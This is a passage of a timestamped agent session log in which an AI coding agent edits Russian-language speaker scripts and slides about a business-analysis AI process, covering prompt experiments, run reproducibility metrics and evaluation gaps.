\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:41.527Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:41.527Z] [INFO]       {\n[2026-09-29T07:55:41.527Z] [INFO]         \"oldStart\": 106,\n[2026-09-29T07:55:41.527Z] [INFO]         \"oldLines\": 8,\n[2026-09-29T07:55:41.527Z] [INFO]         \"newStart\": 106,\n[2026-09-29T07:55:41.527Z] [INFO]         \"newLines\": 9,\n[2026-09-29T07:55:41.527Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:41.527Z] [INFO]           \"   [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"   \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\",\n[2026-09-29T07:55:41.527Z] [INFO]           \" - 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"-  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"-  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"+  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"+  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"+  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\",\n[2026-09-29T07:55:41.527Z] [INFO]           \" - 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"   \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\",\n[2026-09-29T07:55:41.527Z] [INFO]           \" - \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\"\n[2026-09-29T07:55:41.527Z] [INFO]         ]\n[2026-09-29T07:55:41.527Z] [INFO]       }\n[2026-09-29T07:55:41.527Z] [INFO]     ],\n[2026-09-29T07:55:41.527Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:41.527Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:41.527Z] [INFO]     \"staleRecovered\": true,\n[2026-09-29T07:55:41.527Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:41.527Z] [INFO]   }\n[2026-09-29T07:55:41.527Z] [INFO] }\n[2026-09-29T07:55:44.746Z] [INFO] {\n[2026-09-29T07:55:44.746Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"message\": {\n[2026-09-29T07:55:44.746Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:44.746Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:44.746Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:44.746Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:44.746Z] [INFO]     \"content\": [\n[2026-09-29T07:55:44.746Z] [INFO]       {\n[2026-09-29T07:55:44.746Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:44.746Z] [INFO]         \"id\": \"toolu_01DH5tJUnm4fRLmhvZDBt2zw\",\n[2026-09-29T07:55:44.746Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:44.746Z] [INFO]         \"input\": {\n[2026-09-29T07:55:44.746Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:44.746Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:44.746Z] [INFO]           \"old_string\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e 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\u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\",\n[2026-09-29T07:55:44.746Z] [INFO]           \"new_string\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\"\n[2026-09-29T07:55:44.746Z] [INFO]         },\n[2026-09-29T07:55:44.746Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:44.746Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:44.746Z] [INFO]         }\n[2026-09-29T07:55:44.746Z] [INFO]       }\n[2026-09-29T07:55:44.746Z] [INFO]     ],\n[2026-09-29T07:55:44.746Z] [INFO]     \"container\": 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},\n[2026-09-29T07:55:44.746Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:44.746Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:44.746Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:44.746Z] [INFO]   },\n[2026-09-29T07:55:44.746Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:44.746Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"uuid\": \"557294f8-344d-4a34-9d70-581ccc03f3c4\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:44.731Z\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"request_id\": \"req_011CfXNXzBShRHictvwBzDdX\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:44.746Z] [INFO]     \"toolu_01DH5tJUnm4fRLmhvZDBt2zw\": {\n[2026-09-29T07:55:44.746Z] [INFO]       \"file_path\": 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\u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\",\n[2026-09-29T07:55:44.746Z] [INFO]       \"new_string\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 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}\n[2026-09-29T07:55:44.746Z] [INFO]   }\n[2026-09-29T07:55:44.746Z] [INFO] }\n[2026-09-29T07:55:44.786Z] [INFO] {\n[2026-09-29T07:55:44.786Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:44.786Z] [INFO]   \"message\": {\n[2026-09-29T07:55:44.786Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"content\": [\n[2026-09-29T07:55:44.786Z] [INFO]       {\n[2026-09-29T07:55:44.786Z] [INFO]         \"tool_use_id\": \"toolu_01DH5tJUnm4fRLmhvZDBt2zw\",\n[2026-09-29T07:55:44.786Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:44.786Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md has been updated successfully.\"\n[2026-09-29T07:55:44.786Z] [INFO]       }\n[2026-09-29T07:55:44.786Z] [INFO]     ]\n[2026-09-29T07:55:44.786Z] [INFO]   },\n[2026-09-29T07:55:44.786Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:44.786Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:44.786Z] [INFO]   \"uuid\": \"cf63f677-2dd5-4dee-901a-2fc3305598e9\",\n[2026-09-29T07:55:44.786Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:44.777Z\",\n[2026-09-29T07:55:44.786Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:44.786Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"oldString\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"newString\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 